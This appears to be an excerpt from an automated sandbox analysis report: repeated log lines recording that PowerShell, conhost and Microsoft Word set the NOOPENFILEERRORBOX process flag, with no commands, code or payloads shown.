Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
